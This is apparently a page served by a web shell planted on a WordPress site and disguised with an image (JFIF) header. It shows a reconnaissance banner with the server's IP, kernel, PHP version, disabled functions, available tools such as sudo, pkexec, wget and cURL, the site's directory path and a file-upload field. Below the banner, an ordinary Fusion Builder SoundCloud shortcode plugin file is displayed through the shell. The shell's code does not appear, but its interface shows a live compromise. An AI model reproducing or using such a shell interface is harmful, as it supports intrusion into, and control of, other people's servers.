????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.217 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.eu/wp-content/plugins/fusion-builder/shortcodes/ |
Upload File : |
<?php
/**
* Shortcode class.
*
* @package fusion-builder
* @since 1.0
*/
class FusionSC_Soundcloud {
/**
* An array of the shortcode arguments.
*
* @static
* @access public
* @since 1.0
* @var array
*/
public static $args;
/**
* Constructor.
*
* @access public
* @since 1.0
*/
public function __construct() {
add_filter( 'fusion_attr_soundcloud-shortcode', array( $this, 'attr' ) );
add_shortcode( 'fusion_soundcloud', array( $this, 'render' ) );
}
/**
* Render the shortcode
*
* @access public
* @since 1.0
* @param array $args Shortcode parameters.
* @param string $content Content between shortcode.
* @return string HTML output.
*/
public function render( $args, $content = '' ) {
$defaults = FusionBuilder::set_shortcode_defaults(
array(
'hide_on_mobile' => fusion_builder_default_visibility( 'string' ),
'class' => 'fusion-soundcloud',
'id' => '',
'auto_play' => 'no',
'color' => 'ff7700',
'comments' => 'yes',
'height' => '',
'layout' => 'classic',
'show_related' => 'no',
'show_reposts' => 'no',
'show_user' => 'yes',
'url' => '',
'width' => '100%',
), $args
);
$defaults['width'] = FusionBuilder::validate_shortcode_attr_value( $defaults['width'], 'px' );
$defaults['height'] = FusionBuilder::validate_shortcode_attr_value( $defaults['height'], 'px' );
extract( $defaults );
self::$args = $defaults;
$autoplay = ( 'yes' === $auto_play ) ? 'true' : 'false';
$comments = ( 'yes' === $comments ) ? 'true' : 'false';
if ( 'visual' === $layout ) {
$visual = 'true';
if ( ! $height ) {
$height = '450';
}
} else {
$visual = 'false';
if ( ! $height ) {
$height = '166';
}
}
$height = (int) $height;
$show_related = ( 'yes' === $show_related ) ? 'false' : 'true';
$show_reposts = ( 'yes' === $show_reposts ) ? 'true' : 'false';
$show_user = ( 'yes' === $show_user ) ? 'true' : 'false';
if ( $color ) {
$color = str_replace( '#', '', $color );
}
return '<div ' . FusionBuilder::attributes( 'soundcloud-shortcode' ) . '><iframe scrolling="no" frameborder="no" width="' . $width . '" height="' . $height . '" src="https://w.soundcloud.com/player/?url=' . $url . '&auto_play=' . $autoplay . '&hide_related=' . $show_related . '&show_comments=' . $comments . '&show_user=' . $show_user . '&show_reposts=' . $show_reposts . '&visual=' . $visual . '&color=' . $color . '"></iframe></div>';
}
/**
* Builds the attributes array.
*
* @access public
* @since 1.0
* @return array
*/
public function attr() {
$attr = array();
if ( self::$args['class'] ) {
$attr['class'] = self::$args['class'];
}
if ( self::$args['id'] ) {
$attr['id'] = self::$args['id'];
}
$attr = fusion_builder_visibility_atts( self::$args['hide_on_mobile'], $attr );
return $attr;
}
}
new FusionSC_Soundcloud();
/**
* Map shortcode to Fusion Builder.
*
* @since 1.0
*/
function fusion_element_soundcloud() {
fusion_builder_map( array(
'name' => esc_attr__( 'Soundcloud', 'fusion-builder' ),
'shortcode' => 'fusion_soundcloud',
'icon' => 'fusiona-soundcloud',
'preview' => FUSION_BUILDER_PLUGIN_DIR . 'js/previews/fusion-soundcloud-preview.php',
'preview_id' => 'fusion-builder-block-module-soundcloud-preview-template',
'params' => array(
array(
'type' => 'textfield',
'heading' => esc_attr__( 'SoundCloud Url', 'fusion-builder' ),
'description' => esc_attr__( 'The SoundCloud url, ex: http://api.soundcloud.com/tracks/110813479.', 'fusion-builder' ),
'param_name' => 'url',
'value' => '',
),
array(
'type' => 'radio_button_set',
'heading' => esc_attr__( 'Layout', 'fusion-builder' ),
'description' => esc_attr__( 'Choose the layout of the soundcloud embed.', 'fusion-builder' ),
'param_name' => 'layout',
'value' => array(
esc_attr__( 'Classic', 'fusion-builder' ) => 'classic',
esc_attr__( 'Visual', 'fusion-builder' ) => 'visual',
),
'default' => 'classic',
),
array(
'type' => 'radio_button_set',
'heading' => esc_attr__( 'Show Comments', 'fusion-builder' ),
'description' => esc_attr__( 'Choose to display comments.', 'fusion-builder' ),
'param_name' => 'comments',
'value' => array(
esc_attr__( 'Yes', 'fusion-builder' ) => 'yes',
esc_attr__( 'No', 'fusion-builder' ) => 'no',
),
'default' => 'yes',
),
array(
'type' => 'radio_button_set',
'heading' => esc_attr__( 'Show Related', 'fusion-builder' ),
'description' => esc_attr__( 'Choose to display related items.', 'fusion-builder' ),
'param_name' => 'show_related',
'value' => array(
esc_attr__( 'Yes', 'fusion-builder' ) => 'yes',
esc_attr__( 'No', 'fusion-builder' ) => 'no',
),
'default' => 'no',
),
array(
'type' => 'radio_button_set',
'heading' => esc_attr__( 'Show User', 'fusion-builder' ),
'description' => esc_attr__( 'Choose to display the user who posted the item.', 'fusion-builder' ),
'param_name' => 'show_user',
'value' => array(
esc_attr__( 'Yes', 'fusion-builder' ) => 'yes',
esc_attr__( 'No', 'fusion-builder' ) => 'no',
),
'default' => 'yes',
),
array(
'type' => 'radio_button_set',
'heading' => esc_attr__( 'Autoplay', 'fusion-builder' ),
'description' => esc_attr__( 'Choose to autoplay the track.', 'fusion-builder' ),
'param_name' => 'auto_play',
'value' => array(
esc_attr__( 'Yes', 'fusion-builder' ) => 'yes',
esc_attr__( 'No', 'fusion-builder' ) => 'no',
),
'default' => 'no',
),
array(
'type' => 'colorpicker',
'heading' => esc_attr__( 'Color', 'fusion-builder' ),
'description' => esc_attr__( 'Select the color of the element.', 'fusion-builder' ),
'param_name' => 'color',
'value' => '#ff7700',
),
array(
'type' => 'dimension',
'remove_from_atts' => true,
'heading' => esc_attr__( 'Dimensions', 'fusion-builder' ),
'description' => esc_attr__( 'In pixels (px) or percentage (%).', 'fusion-builder' ),
'param_name' => 'dimensions',
'value' => array(
'width' => '100%',
'height' => '150px',
),
),
array(
'type' => 'checkbox_button_set',
'heading' => esc_attr__( 'Element Visibility', 'fusion-builder' ),
'param_name' => 'hide_on_mobile',
'value' => fusion_builder_visibility_options( 'full' ),
'default' => fusion_builder_default_visibility( 'array' ),
'description' => esc_attr__( 'Choose to show or hide the element on small, medium or large screens. You can choose more than one at a time.', 'fusion-builder' ),
),
array(
'type' => 'textfield',
'heading' => esc_attr__( 'CSS Class', 'fusion-builder' ),
'description' => esc_attr__( 'Add a class to the wrapping HTML element.', 'fusion-builder' ),
'param_name' => 'class',
'value' => '',
'group' => esc_attr__( 'General', 'fusion-builder' ),
),
array(
'type' => 'textfield',
'heading' => esc_attr__( 'CSS ID', 'fusion-builder' ),
'description' => esc_attr__( 'Add an ID to the wrapping HTML element.', 'fusion-builder' ),
'param_name' => 'id',
'value' => '',
'group' => esc_attr__( 'General', 'fusion-builder' ),
),
),
) );
}
add_action( 'fusion_builder_before_init', 'fusion_element_soundcloud' );